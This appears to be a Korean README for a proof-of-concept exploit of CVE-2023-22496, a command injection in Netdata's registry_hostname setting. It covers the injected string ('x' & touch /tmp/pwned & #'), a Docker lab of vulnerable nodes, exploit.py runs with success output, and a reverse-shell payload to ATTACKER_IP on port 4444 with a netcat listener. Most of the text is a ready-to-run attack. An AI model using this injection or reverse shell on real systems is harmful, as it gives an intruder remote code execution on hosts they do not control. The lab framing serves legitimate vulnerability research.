# Netdata가 구성한 명령어 (삽입 후):
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# 실행 흐름:
#   exec alarm-notify.sh 'root' 'x' &   → 백그라운드 실행; 셸은 유지됨
#   touch /tmp/pwned &                   → 셸이 이 명령어를 실행; 파일 생성됨
#   #                                    → 나머지는 주석 처리되어 무시됨

┌──────────────┐  stream  ┌──────────────┐  stream  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (공격자)    │          │  (릴레이)    │          │   (희생자/타깃)      │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() 실행
                                              주입된 registry_hostname 사용
                                              → agent_parent에서 RCE

CVE-2023-22496-PoC/
├── Dockerfile              # netdata-vuln:v1.36.1 이미지를 소스에서 빌드
├── docker-compose.yaml     # 3노드 취약한 스트리밍 환경
├── exploit.py              # 독립 실행형 익스플로잇 스크립트
├── config/
│   ├── parent_netdata.conf # 상위 노드 설정 (쓰기 가능 — 익스플로잇이 덮어씀)
│   ├── parent_stream.conf  # 상위 노드가 스트림 수락 및 health 평가
│   ├── parent_guid         # 고정 노드 GUID
│   ├── middle_netdata.conf # 중간 릴레이 설정
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # 하위 발신자 설정
│   ├── child_stream.conf
│   └── child_guid
└── README.md

git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# 빌드는 약 5~15분 소요 (Netdata 소스 컴파일)
docker build -t netdata-vuln:v1.36.1 .

docker compose up -d

# 상위 웹 UI에서 HTTP 200 반환 확인
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# 예상 결과: "version": "v1.36.1-..."

# 기본 동작: 타깃(agent_parent)에 /tmp/pwned 생성
python3 exploit.py "touch /tmp/pwned"

# 확인
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

======================================================================
  CVE-2023-22496 — Netdata registry_hostname Command Injection PoC
======================================================================
  Shell command : 'touch /tmp/pwned'
  Injected host : "x' & touch /tmp/pwned & #"

[*] Pre-flight: verifying Docker environment
  [*] All 3 containers are running.

[*] Step 1: Writing injected netdata.conf for agent_parent
    Written: config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] Step 2: Restarting agent_parent to load injected config
    ...
    agent_parent is up and responding.

[*] Step 3: Waiting 65s for a disk_space WARNING alarm

[*] Step 4: Checking for command execution evidence

======================================================================
  ✅  SUCCESS — CVE-2023-22496 CONFIRMED
  '/tmp/pwned' exists on agent_parent
======================================================================

# 리스너 머신에서:
nc -lvnp 4444

# 익스플로잇 실행 (ATTACKER_IP를 실제 IP로 변경):
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

# 컨테이너와 볼륨 중지 및 제거
docker compose down -v

# 이미지 제거
docker rmi netdata-vuln:v1.36.1